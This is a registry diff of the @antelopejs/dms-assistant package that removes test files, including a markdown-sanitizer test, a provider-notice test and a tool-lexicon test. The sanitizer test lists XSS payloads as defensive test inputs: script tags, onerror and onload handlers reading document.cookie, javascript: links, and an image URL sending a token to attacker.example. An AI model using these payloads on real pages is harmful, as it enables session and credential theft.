@antelopejs/dms-assistant 0.2.7-next.444.g0da96b6 → 0.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (102) hide show
  1. package/package.json +6 -2
  2. package/frontend-vue/builder/tests/database-build.test.ts +0 -232
  3. package/frontend-vue/builder/tests/database-connect.test.ts +0 -348
  4. package/frontend-vue/builder/tests/database-display.test.ts +0 -112
  5. package/frontend-vue/builder/tests/database.test.ts +0 -138
  6. package/frontend-vue/builder/tests/enabled.test.ts +0 -17
  7. package/frontend-vue/builder/tests/owner-ui.test.ts +0 -29
  8. package/frontend-vue/builder/tests/stubs/frontend-module.ts +0 -63
  9. package/frontend-vue/builder/vitest.config.ts +0 -21
  10. package/frontend-vue/tests/assistant-actions.test.ts +0 -109
  11. package/frontend-vue/tests/assistant-activity.test.ts +0 -281
  12. package/frontend-vue/tests/backend-boundary.test.ts +0 -130
  13. package/frontend-vue/tests/backoff.test.ts +0 -40
  14. package/frontend-vue/tests/block-health.test.ts +0 -142
  15. package/frontend-vue/tests/channel-client.test.ts +0 -246
  16. package/frontend-vue/tests/chat/block-preview.test.ts +0 -367
  17. package/frontend-vue/tests/chat/block-target.test.ts +0 -133
  18. package/frontend-vue/tests/chat/build-view.test.ts +0 -171
  19. package/frontend-vue/tests/chat/chat-scroll.test.ts +0 -251
  20. package/frontend-vue/tests/chat/conversation-events.test.ts +0 -622
  21. package/frontend-vue/tests/chat/diff-and-keys.test.ts +0 -178
  22. package/frontend-vue/tests/chat/held-card.test.ts +0 -133
  23. package/frontend-vue/tests/chat/markdown-content.test.ts +0 -86
  24. package/frontend-vue/tests/chat/markdown.test.ts +0 -352
  25. package/frontend-vue/tests/chat/provider-notice.test.ts +0 -33
  26. package/frontend-vue/tests/chat/tool-lexicon.test.ts +0 -212
  27. package/frontend-vue/tests/chat/useChatChannel.test.ts +0 -124
  28. package/frontend-vue/tests/chat/useConversation.test.ts +0 -288
  29. package/frontend-vue/tests/chat-panel.test.ts +0 -300
  30. package/frontend-vue/tests/chat-transport.test.ts +0 -94
  31. package/frontend-vue/tests/embedding.test.ts +0 -10
  32. package/frontend-vue/tests/formal/connection-analysis-scenarios.ts +0 -130
  33. package/frontend-vue/tests/formal/connection-analysis-world.ts +0 -497
  34. package/frontend-vue/tests/formal/connection-analysis.test.ts +0 -36
  35. package/frontend-vue/tests/host-commands.test.ts +0 -182
  36. package/frontend-vue/tests/launcher-icon.test.ts +0 -62
  37. package/frontend-vue/tests/launcher-label.test.ts +0 -40
  38. package/frontend-vue/tests/launcher-state.test.ts +0 -215
  39. package/frontend-vue/tests/mockup-fold.test.ts +0 -95
  40. package/frontend-vue/tests/navigation.test.ts +0 -142
  41. package/frontend-vue/tests/onboarding-api.test.ts +0 -29
  42. package/frontend-vue/tests/onboarding-claude.test.ts +0 -144
  43. package/frontend-vue/tests/onboarding-connect-memory.test.ts +0 -126
  44. package/frontend-vue/tests/onboarding-controller-restart.test.ts +0 -134
  45. package/frontend-vue/tests/onboarding-controller.test.ts +0 -307
  46. package/frontend-vue/tests/onboarding-database-driver-install.test.ts +0 -112
  47. package/frontend-vue/tests/onboarding-database-engines.test.ts +0 -142
  48. package/frontend-vue/tests/onboarding-database-new-url.test.ts +0 -174
  49. package/frontend-vue/tests/onboarding-database-reload.test.ts +0 -229
  50. package/frontend-vue/tests/onboarding-database-tabs.test.ts +0 -184
  51. package/frontend-vue/tests/onboarding-database.test.ts +0 -540
  52. package/frontend-vue/tests/onboarding-deep-link.test.ts +0 -51
  53. package/frontend-vue/tests/onboarding-flow.test.ts +0 -204
  54. package/frontend-vue/tests/onboarding-install.test.ts +0 -62
  55. package/frontend-vue/tests/onboarding-mockups.test.ts +0 -86
  56. package/frontend-vue/tests/onboarding-scratch.test.ts +0 -70
  57. package/frontend-vue/tests/onboarding-widget.test.ts +0 -97
  58. package/frontend-vue/tests/palette-assistant.test.ts +0 -241
  59. package/frontend-vue/tests/panel-approvals.test.ts +0 -226
  60. package/frontend-vue/tests/panel-closed-conversation.test.ts +0 -53
  61. package/frontend-vue/tests/panel-mockup-prompt.test.ts +0 -238
  62. package/frontend-vue/tests/panel-modes.test.ts +0 -131
  63. package/frontend-vue/tests/panel-questions.test.ts +0 -151
  64. package/frontend-vue/tests/panel-states.test.ts +0 -252
  65. package/frontend-vue/tests/panel-tools.test.ts +0 -219
  66. package/frontend-vue/tests/session-gate.test.ts +0 -66
  67. package/frontend-vue/tests/sidecar-guest.test.ts +0 -81
  68. package/frontend-vue/tests/sidecar-status.test.ts +0 -117
  69. package/frontend-vue/tests/support/api-error-presenter.ts +0 -30
  70. package/frontend-vue/tests/support/database-connect.ts +0 -129
  71. package/frontend-vue/tests/support/dms-frontend-module.ts +0 -9
  72. package/frontend-vue/tests/support/dms-state.ts +0 -12
  73. package/frontend-vue/tests/support/fake-layout.ts +0 -119
  74. package/frontend-vue/tests/support/i18n.ts +0 -49
  75. package/frontend-vue/tests/support/onboarding-host.ts +0 -104
  76. package/frontend-vue/tests/support/onboarding.ts +0 -176
  77. package/frontend-vue/tests/support/panel-fixtures.ts +0 -155
  78. package/frontend-vue/tests/support/panel-harness.ts +0 -211
  79. package/frontend-vue/tests/support/setup-layout.ts +0 -3
  80. package/frontend-vue/tests/support/stand-ins/DmsBlockPreview.ts +0 -18
  81. package/frontend-vue/tests/support/stand-ins/DmsEmptyState.ts +0 -17
  82. package/frontend-vue/tests/support/stand-ins/DmsSegmentedControl.ts +0 -35
  83. package/frontend-vue/tests/support/stand-ins/DmsStatusPill.ts +0 -7
  84. package/frontend-vue/tests/support/stand-ins/OnboardingModal.ts +0 -13
  85. package/frontend-vue/tests/support/stand-ins/UBadge.ts +0 -7
  86. package/frontend-vue/tests/support/stand-ins/UButton.ts +0 -27
  87. package/frontend-vue/tests/support/stand-ins/UCheckbox.ts +0 -25
  88. package/frontend-vue/tests/support/stand-ins/UDropdownMenu.ts +0 -34
  89. package/frontend-vue/tests/support/stand-ins/UFormField.ts +0 -9
  90. package/frontend-vue/tests/support/stand-ins/UInput.ts +0 -16
  91. package/frontend-vue/tests/support/stand-ins/UKbd.ts +0 -7
  92. package/frontend-vue/tests/support/stand-ins/UModal.ts +0 -20
  93. package/frontend-vue/tests/support/stand-ins/UPopover.ts +0 -9
  94. package/frontend-vue/tests/support/stand-ins/UTabs.ts +0 -31
  95. package/frontend-vue/tests/support/stand-ins/UTextarea.ts +0 -19
  96. package/frontend-vue/tests/support/stubs.ts +0 -28
  97. package/frontend-vue/tests/views/api-data-reads.test.ts +0 -451
  98. package/frontend-vue/tests/views/api-error-presentation.test.ts +0 -89
  99. package/frontend-vue/tests/views/diff-view.test.ts +0 -167
  100. package/frontend-vue/tests/views/use-assistant.test.ts +0 -53
  101. package/frontend-vue/tests/views/view-format.test.ts +0 -59
  102. package/frontend-vue/vitest.config.ts +0 -33
@@ -1,352 +0,0 @@
1
- // @vitest-environment jsdom
2
- import { describe, expect, it } from "vitest";
3
- import {
4
- createIncrementalMarkdown,
5
- renderDocument,
6
- renderMarkdown,
7
- } from "../../app/chat/utils/markdown";
8
-
9
- /** The only markup model output may bring into the dashboard's document. */
10
- const ALLOWED_ELEMENTS = new Set([
11
- "a",
12
- "blockquote",
13
- "br",
14
- "code",
15
- "del",
16
- "em",
17
- "h1",
18
- "h2",
19
- "h3",
20
- "h4",
21
- "h5",
22
- "h6",
23
- "hr",
24
- "li",
25
- "ol",
26
- "p",
27
- "pre",
28
- "s",
29
- "strong",
30
- "table",
31
- "tbody",
32
- "td",
33
- "th",
34
- "thead",
35
- "tr",
36
- "ul",
37
- ]);
38
- const ALLOWED_ATTRIBUTES = new Set(["href", "title", "target", "rel", "start"]);
39
- const SAFE_HREF = /^(?:https?:|mailto:|\/(?![/\\])|#)/i;
40
-
41
- /** The rendered fragments as the page shows them, inserted as clones. */
42
- function inserted(...fragments: DocumentFragment[]): HTMLElement {
43
- const host = document.createElement("div");
44
- host.append(...fragments.map((fragment) => fragment.cloneNode(true)));
45
- return host;
46
- }
47
-
48
- function serialized(...fragments: DocumentFragment[]): string {
49
- return inserted(...fragments).innerHTML;
50
- }
51
-
52
- function renderInDocument(source: string): HTMLElement {
53
- return inserted(renderMarkdown(source));
54
- }
55
-
56
- /**
57
- * Walks what the page would show: whatever the model wrote, only allowed
58
- * elements and attributes, and links that cannot run code. What was refused
59
- * stays on screen as text, which is harmless.
60
- */
61
- function expectHarmless(...fragments: DocumentFragment[]): void {
62
- const host = inserted(...fragments);
63
- for (const element of host.querySelectorAll("*")) {
64
- expect(ALLOWED_ELEMENTS.has(element.localName), element.localName).toBe(
65
- true,
66
- );
67
- for (const attribute of element.attributes) {
68
- expect(ALLOWED_ATTRIBUTES.has(attribute.name), attribute.name).toBe(true);
69
- }
70
- const href = element.getAttribute("href");
71
- if (href !== null) expect(href).toMatch(SAFE_HREF);
72
- }
73
- }
74
-
75
- describe("model output renders as inert markup", () => {
76
- const injections: Record<string, string> = {
77
- "a raw script": "<script>fetch('/api/_auth/session')</script>",
78
- "an image with an error handler":
79
- '<img src=x onerror="alert(document.cookie)">',
80
- "an svg with a load handler": "<svg onload=alert(1)><circle/></svg>",
81
- "an iframe": '<iframe src="https://attacker.example"></iframe>',
82
- "a style block dressing up the page":
83
- "<style>body{position:fixed;inset:0;background:red}</style>",
84
- "a form": '<form action="https://attacker.example"><input name=q></form>',
85
- "a details toggle": "<details open ontoggle=alert(1)>x</details>",
86
- "a javascript link": "[click](javascript:alert(document.cookie))",
87
- "a mixed-case javascript link": "[click](JaVaScRiPt:alert(1))",
88
- "an entity-encoded javascript link": "[click](&#106;avascript:alert(1))",
89
- "a tab-split javascript link": "[click](java\tscript:alert(1))",
90
- "a vbscript link": "[click](vbscript:msgbox(1))",
91
- "a data: html link":
92
- "[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)",
93
- "a javascript autolink": "<javascript:alert(1)>",
94
- "a javascript reference link": "[click][x]\n\n[x]: javascript:alert(1)",
95
- "a title breaking out of its attribute":
96
- '[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
97
- "a raw anchor": '<a href="javascript:alert(1)">x</a>',
98
- "a fenced code language dressing the block": "```fixed inset-0\ncode\n```",
99
- "a remote markdown image":
100
- "![secret](https://attacker.example/leak.png?token=SECRET)",
101
- "a relative markdown image": "![events](/ai/channel/events)",
102
- "a data image": "![x](data:image/png;base64,iVBORw0KGgo=)",
103
- "a table alignment": "| a |\n|:-:|\n| b |",
104
- };
105
-
106
- for (const [name, source] of Object.entries(injections)) {
107
- it(`neutralises ${name}`, () => {
108
- expectHarmless(renderMarkdown(source));
109
- });
110
- }
111
-
112
- it("shows a refused link as its text, with nothing to click", () => {
113
- const host = renderInDocument("[click](javascript:alert(document.cookie))");
114
- expect(host.querySelector("a")).toBeNull();
115
- expect(host.textContent).toContain("[click]");
116
- });
117
-
118
- it("keeps a quote in a link title inside the attribute", () => {
119
- const host = renderInDocument(
120
- '[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
121
- );
122
- const link = host.querySelector("a");
123
- expect(link?.getAttribute("onmouseover")).toBeNull();
124
- expect(link?.getAttribute("title")).toBe('x" onmouseover="alert(1)');
125
- });
126
-
127
- it("keeps raw HTML as visible text rather than markup", () => {
128
- const host = renderInDocument("<b>bold</b> <script>x()</script>");
129
- expect(host.querySelector("b, script")).toBeNull();
130
- expect(host.textContent).toContain("<b>bold</b>");
131
- });
132
-
133
- it("turns an image into a link to follow, so nothing is fetched on its own", () => {
134
- const host = renderInDocument(
135
- "![a chart](https://example.com/chart.png?q=1)",
136
- );
137
- expect(host.querySelector("img")).toBeNull();
138
- const link = host.querySelector("a");
139
- expect(link?.getAttribute("href")).toBe(
140
- "https://example.com/chart.png?q=1",
141
- );
142
- expect(link?.textContent).toBe("a chart (example.com)");
143
- });
144
-
145
- it("names where an image link leads, so a harmless caption cannot hide it", () => {
146
- const host = renderInDocument(
147
- "![Click to view](https://attacker.example/leak.png?token=SECRET) ![](https://cdn.example/x.png) ![events](/ai/channel/events)",
148
- );
149
- expect(
150
- [...host.querySelectorAll("a")].map((link) => link.textContent),
151
- ).toEqual([
152
- "Click to view (attacker.example)",
153
- "cdn.example",
154
- "events (/ai/channel/events)",
155
- ]);
156
- });
157
-
158
- it("opens every link in a new tab that cannot reach back to the dashboard", () => {
159
- const host = renderInDocument(
160
- "[docs](https://antelopejs.com) and https://example.com/page",
161
- );
162
- const links = [...host.querySelectorAll("a")];
163
- expect(links).toHaveLength(2);
164
- for (const link of links) {
165
- expect(link.getAttribute("target")).toBe("_blank");
166
- expect(link.getAttribute("rel")).toBe("noopener noreferrer");
167
- }
168
- });
169
-
170
- it("keeps the safe links: https, mailto and pages of the dashboard", () => {
171
- const host = renderInDocument(
172
- "[a](https://example.com) [b](mailto:dev@example.com) [c](/modules/ai/settings)",
173
- );
174
- expect(
175
- [...host.querySelectorAll("a")].map((link) => link.getAttribute("href")),
176
- ).toEqual([
177
- "https://example.com",
178
- "mailto:dev@example.com",
179
- "/modules/ai/settings",
180
- ]);
181
- });
182
-
183
- it("still renders the markdown an answer is made of", () => {
184
- const host = renderInDocument(
185
- "# Title\n\n- **bold** and *em* and ~~gone~~\n- `code`\n\n```ts\nconst a = 1\n```\n\n> quote\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\n---",
186
- );
187
- for (const tag of [
188
- "h1",
189
- "ul",
190
- "strong",
191
- "em",
192
- "s",
193
- "code",
194
- "pre",
195
- "blockquote",
196
- "table",
197
- "hr",
198
- ]) {
199
- expect(host.querySelector(tag), tag).not.toBeNull();
200
- }
201
- });
202
-
203
- it("does not touch the sanitizer the rest of the dashboard shares", async () => {
204
- const shared = (await import("dompurify")).default;
205
- renderMarkdown("[x](https://example.com)");
206
- expect(shared.sanitize('<a href="https://example.com">x</a>')).not.toMatch(
207
- /target=/,
208
- );
209
- });
210
- });
211
-
212
- describe("a streaming answer renders incrementally", () => {
213
- const ANSWER =
214
- "# Plan\n\nFirst paragraph with **bold** text.\n\n- one\n- two\n\n still two\n- three\n\n```ts\nconst x = 1;\n\nconst y = 2;\n```\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\nLast paragraph, [a link](https://example.com).";
215
-
216
- function streamInChunks(text: string, size: number) {
217
- const incremental = createIncrementalMarkdown();
218
- let last = incremental.render("");
219
- for (let end = size; end < text.length + size; end += size) {
220
- last = incremental.render(text.slice(0, Math.min(end, text.length)));
221
- }
222
- return last;
223
- }
224
-
225
- for (const size of [1, 3, 7, 50]) {
226
- it(`ends with what a whole render gives, in chunks of ${size}`, () => {
227
- const { settled, open } = streamInChunks(ANSWER, size);
228
- expect(serialized(...settled, open)).toBe(
229
- serialized(renderMarkdown(ANSWER)),
230
- );
231
- });
232
- }
233
-
234
- it("renders each settled block once, however many chunks follow it", () => {
235
- const incremental = createIncrementalMarkdown();
236
- const first = incremental.render("Settled paragraph.\n\nOpen");
237
- const later = incremental.render("Settled paragraph.\n\nOpen and growing");
238
- expect(first.settled.map((block) => serialized(block))).toEqual([
239
- "<p>Settled paragraph.</p>\n",
240
- ]);
241
- expect(later.settled[0]).toBe(first.settled[0]);
242
- expect(serialized(later.open)).toBe("<p>Open and growing</p>\n");
243
- });
244
-
245
- it("keeps a code block open until its fence closes", () => {
246
- const incremental = createIncrementalMarkdown();
247
- const open = incremental.render("```ts\nconst a = 1;\n\nconst b = 2;");
248
- expect(open.settled).toEqual([]);
249
- const closed = incremental.render(
250
- "```ts\nconst a = 1;\n\nconst b = 2;\n```\n\nAfter.",
251
- );
252
- expect(closed.settled).toHaveLength(1);
253
- expect(serialized(...closed.settled)).toContain("const b = 2;");
254
- expect(serialized(closed.open)).toBe("<p>After.</p>\n");
255
- });
256
-
257
- it("starts over when the text is replaced rather than extended", () => {
258
- const incremental = createIncrementalMarkdown();
259
- incremental.render("One.\n\nTwo");
260
- const replaced = incremental.render("Other.\n\nText");
261
- expect(replaced.settled.map((block) => serialized(block))).toEqual([
262
- "<p>Other.</p>\n",
263
- ]);
264
- });
265
-
266
- it("sanitizes what it renders incrementally too", () => {
267
- const incremental = createIncrementalMarkdown();
268
- const { settled, open } = incremental.render(
269
- "[x](javascript:alert(1))\n\n![y](https://attacker.example/?q=1)",
270
- );
271
- expectHarmless(...settled, open);
272
- });
273
-
274
- it("keeps its work per chunk bounded by the last block, not the whole answer", () => {
275
- const paragraphs = Array.from(
276
- { length: 400 },
277
- (_, index) => `Paragraph ${index} with some **words** in it.`,
278
- ).join("\n\n");
279
- const incremental = createIncrementalMarkdown();
280
- let renderedChars = 0;
281
- for (let end = 40; end <= paragraphs.length; end += 40) {
282
- const { open } = incremental.render(paragraphs.slice(0, end));
283
- renderedChars += serialized(open).length;
284
- }
285
- expect(renderedChars).toBeLessThan(paragraphs.length * 5);
286
- });
287
- });
288
-
289
- describe("a document reflows its hard-wrapped lines", () => {
290
- const SKILL = [
291
- "# Skill",
292
- "",
293
- "The DMS is a **backend-driven admin framework** built",
294
- "on AntelopeJS. You add an",
295
- "admin screen by writing TypeScript.",
296
- "",
297
- "Second paragraph.",
298
- "",
299
- "- one item",
300
- " wrapped",
301
- "- two",
302
- "",
303
- "```ts",
304
- "const a = 1;",
305
- "const b = 2;",
306
- "```",
307
- "",
308
- "| a | b |",
309
- "|---|---|",
310
- "| 1 | 2 |",
311
- ].join("\n");
312
-
313
- function renderSkill(): HTMLElement {
314
- return inserted(renderDocument(SKILL));
315
- }
316
-
317
- it("joins a paragraph's lines with spaces, not line breaks", () => {
318
- const host = renderSkill();
319
- expect(host.querySelector("br")).toBeNull();
320
- // A soft break stays a newline in the text, which HTML shows as a space.
321
- const text = host.querySelector("p")?.textContent?.replace(/\s+/g, " ");
322
- expect(text).toBe(
323
- "The DMS is a backend-driven admin framework built on AntelopeJS. You add an admin screen by writing TypeScript.",
324
- );
325
- });
326
-
327
- it("keeps paragraphs, lists, code blocks and tables", () => {
328
- const host = renderSkill();
329
- expect(host.querySelectorAll("p")).toHaveLength(2);
330
- expect(host.querySelectorAll("li")).toHaveLength(2);
331
- expect(host.querySelector("li")?.textContent).toBe("one item\nwrapped");
332
- expect(host.querySelector("pre code")?.textContent).toBe(
333
- "const a = 1;\nconst b = 2;\n",
334
- );
335
- expect(host.querySelectorAll("td")).toHaveLength(2);
336
- });
337
-
338
- it("still honours a hard break written in the source", () => {
339
- const host = inserted(renderDocument("first \nsecond"));
340
- expect(host.querySelector("br")).not.toBeNull();
341
- });
342
-
343
- it("leaves chat messages breaking on every newline", () => {
344
- expect(serialized(renderMarkdown("one\ntwo"))).toContain("<br>");
345
- });
346
-
347
- it("sanitizes like a chat message", () => {
348
- expectHarmless(
349
- renderDocument("<img src=x onerror=alert(1)>\n[x](javascript:alert(1))"),
350
- );
351
- });
352
- });
@@ -1,33 +0,0 @@
1
- // @vitest-environment jsdom
2
- import { mount } from "@vue/test-utils";
3
- import { describe, expect, it } from "vitest";
4
- import ProviderNotice from "../../app/chat/components/ProviderNotice.vue";
5
- import { CHAT_I18N_KEY } from "../../app/chat/composables/useChatI18n";
6
- import fr from "../../i18n/locales/dms-assistant-panel-fr-FR.json";
7
- import { createTestI18n } from "../support/i18n";
8
- import { PANEL_STUBS } from "../support/stubs";
9
-
10
- const ENGLISH_REASON =
11
- "Sign in with ChatGPT in Assistant › Settings to run Codex on your ChatGPT plan.";
12
-
13
- function noticeText(code?: "codex_not_signed_in"): string {
14
- return mount(ProviderNotice, {
15
- props: { agentName: "Codex", reason: ENGLISH_REASON, code },
16
- global: {
17
- provide: { [CHAT_I18N_KEY as symbol]: createTestI18n(fr) },
18
- stubs: PANEL_STUBS,
19
- },
20
- }).text();
21
- }
22
-
23
- describe("the agent can't run notice", () => {
24
- it("words the ChatGPT sign-in hint in the panel's language", () => {
25
- const text = noticeText("codex_not_signed_in");
26
- expect(text).toContain("Connectez-vous avec ChatGPT");
27
- expect(text).not.toContain(ENGLISH_REASON);
28
- });
29
-
30
- it("shows the sidecar's own reason when the panel has no wording for it", () => {
31
- expect(noticeText()).toContain(ENGLISH_REASON);
32
- });
33
- });
@@ -1,212 +0,0 @@
1
- import { describe, expect, it } from "vitest";
2
- import {
3
- bareToolName,
4
- describeTool,
5
- namedArguments,
6
- readableToolName,
7
- TOOL_VERB_KEYS,
8
- toolVerb,
9
- } from "../../app/chat/utils/tool-lexicon";
10
- import {
11
- findWaitingRequest,
12
- toolRowState,
13
- } from "../../app/chat/utils/tool-state";
14
- import type { ToolCallMessage } from "../../app/chat/types/conversation";
15
- import type { PermissionRequestData } from "../../app/chat/types/permission";
16
- import { permissionCardText } from "../../app/chat/utils/permission-view";
17
-
18
- const echo = (key: string): string => key;
19
-
20
- function tool(overrides: Partial<ToolCallMessage> = {}): ToolCallMessage {
21
- return {
22
- id: "m1",
23
- role: "tool",
24
- callId: "call-1",
25
- toolName: "Edit",
26
- args: { file_path: "/repo/crm/customer.form.ts" },
27
- status: "pending",
28
- timestampMs: 0,
29
- ...overrides,
30
- };
31
- }
32
-
33
- describe("the tool lexicon names a call by what it does", () => {
34
- it("reads a file edit as a verb and the file's name", () => {
35
- const description = describeTool("Edit", {
36
- file_path: "/repo/crm/customer.form.ts",
37
- });
38
- expect(toolVerb(description, echo)).toBe("dms_assistant.tools.edit_file");
39
- expect(description.target).toBe("customer.form.ts");
40
- });
41
-
42
- it("names a Builder block by its name and type, through the MCP prefix", () => {
43
- const description = describeTool("mcp__dms-assistant__builder_add_block", {
44
- page: "sales/overview",
45
- name: "Top customers",
46
- type: "TopListCard",
47
- });
48
- expect(description.verbKey).toBe("add_block");
49
- expect(description.target).toBe("Top customers · TopListCard");
50
- });
51
-
52
- it("shows a command, a search and a URL the way a person reads them", () => {
53
- expect(describeTool("Bash", { command: "pnpm add jsvat" }).target).toBe(
54
- "pnpm add jsvat",
55
- );
56
- expect(describeTool("Grep", { pattern: "vatNumber" }).target).toBe(
57
- "“vatNumber”",
58
- );
59
- expect(
60
- describeTool("WebFetch", { url: "https://api.vies.eu/check?x=1" }).target,
61
- ).toBe("api.vies.eu/check");
62
- });
63
-
64
- it("covers every Builder tool and the assistant's own", () => {
65
- const builder = [
66
- "builder_catalog",
67
- "builder_delete_page",
68
- "builder_move_block",
69
- "builder_delete_resource",
70
- "builder_remove_field",
71
- "builder_remove_query",
72
- "builder_query_templates",
73
- "builder_preview_query",
74
- ];
75
- for (const name of [
76
- ...builder,
77
- "ask_user",
78
- "typecheck",
79
- "navigate_to_page",
80
- ])
81
- expect(
82
- describeTool(`mcp__dms-assistant__${name}`, {}).verbKey,
83
- ).not.toBeNull();
84
- });
85
-
86
- it("names the DMS page check, whatever server serves it (fails when page_verify shows its raw name)", () => {
87
- const description = describeTool("mcp__dms__page_verify", {
88
- page: "/rentals",
89
- });
90
- expect(toolVerb(description, (key) => key)).toBe(
91
- "dms_assistant.tools.verify_page",
92
- );
93
- expect(description.target).toBe("/rentals");
94
- });
95
-
96
- it("falls back to a readable form of a tool it does not know", () => {
97
- const description = describeTool("mcp__other__FetchInvoiceTotals", {
98
- name: "Q3",
99
- });
100
- expect(description.verbKey).toBeNull();
101
- expect(toolVerb(description, echo)).toBe("Fetch invoice totals");
102
- expect(description.target).toBe("Q3");
103
- expect(readableToolName("some_tool")).toBe("Some tool");
104
- expect(bareToolName("mcp__dms-assistant__ask_user")).toBe("ask_user");
105
- });
106
-
107
- it("lists named arguments, values on one line", () => {
108
- expect(namedArguments({ page: "sales", position: { row: 2 } })).toEqual([
109
- { name: "page", value: "sales" },
110
- { name: "position", value: '{"row":2}' },
111
- ]);
112
- });
113
-
114
- it("has no verb twice", () => {
115
- expect(new Set(TOOL_VERB_KEYS).size).toBe(TOOL_VERB_KEYS.length);
116
- });
117
- });
118
-
119
- describe("a tool row is in one of eight states", () => {
120
- it("takes the sidecar's outcome when there is one", () => {
121
- for (const outcome of [
122
- "done",
123
- "failed",
124
- "denied",
125
- "blocked",
126
- "stopped",
127
- "held",
128
- ] as const)
129
- expect(toolRowState(tool({ outcome, status: "error" }), true, null)).toBe(
130
- outcome,
131
- );
132
- });
133
-
134
- it("tells running, waiting and stopped apart for an open call", () => {
135
- const request = {
136
- requestId: "r1",
137
- callId: "call-1",
138
- toolName: "Edit",
139
- } as PermissionRequestData;
140
- const waiting = findWaitingRequest(tool(), [request]);
141
- expect(waiting).toEqual({ index: 0, total: 1, requestId: "r1" });
142
- expect(toolRowState(tool(), true, waiting)).toBe("waiting");
143
- expect(toolRowState(tool(), true, null)).toBe("running");
144
- expect(toolRowState(tool(), false, null)).toBe("stopped");
145
- });
146
-
147
- it("matches a request without call id by its tool", () => {
148
- const request = {
149
- requestId: "r2",
150
- toolName: "Edit",
151
- } as PermissionRequestData;
152
- expect(findWaitingRequest(tool(), [request])?.requestId).toBe("r2");
153
- expect(
154
- findWaitingRequest(tool({ toolName: "Bash" }), [request]),
155
- ).toBeNull();
156
- });
157
- });
158
-
159
- describe("permission cards are titled from the preview, never the raw tool", () => {
160
- const t = (key: string, params?: Record<string, string | number>): string =>
161
- `${key}${params ? JSON.stringify(params) : ""}`;
162
- const base = {
163
- requestId: "r",
164
- conversationId: "c",
165
- args: {},
166
- summary: "Use tool: builder_delete_page",
167
- alwaysAsk: true,
168
- ruleOptions: [],
169
- createdAtMs: 0,
170
- expiresAtMs: 0,
171
- };
172
-
173
- it("names a Builder deletion by what it deletes", () => {
174
- const text = permissionCardText(
175
- {
176
- ...base,
177
- toolName: "mcp__dms-assistant__builder_delete_page",
178
- kind: "destructive",
179
- preview: {
180
- type: "destructive",
181
- operation: "builder_delete_page",
182
- target: "/home",
183
- consequence: "removes_code",
184
- },
185
- },
186
- t,
187
- );
188
- expect(text.title).toBe(
189
- 'dms_assistant.panel.approvals.destructive.delete_page{"target":"/home"}',
190
- );
191
- expect(text.sub).toBe(
192
- "dms_assistant.panel.approvals.consequence_removes_code",
193
- );
194
- });
195
-
196
- it("titles a generic request with the lexicon, not the summary", () => {
197
- const text = permissionCardText(
198
- {
199
- ...base,
200
- toolName: "mcp__dms-assistant__builder_remove_block",
201
- args: { path: "home/contactForm" },
202
- kind: "builder",
203
- preview: { type: "generic", args: {} },
204
- },
205
- t,
206
- );
207
- expect(text.title).toBe(
208
- "dms_assistant.tools.remove_block home/contactForm",
209
- );
210
- expect(text.sub).toBe("");
211
- });
212
- });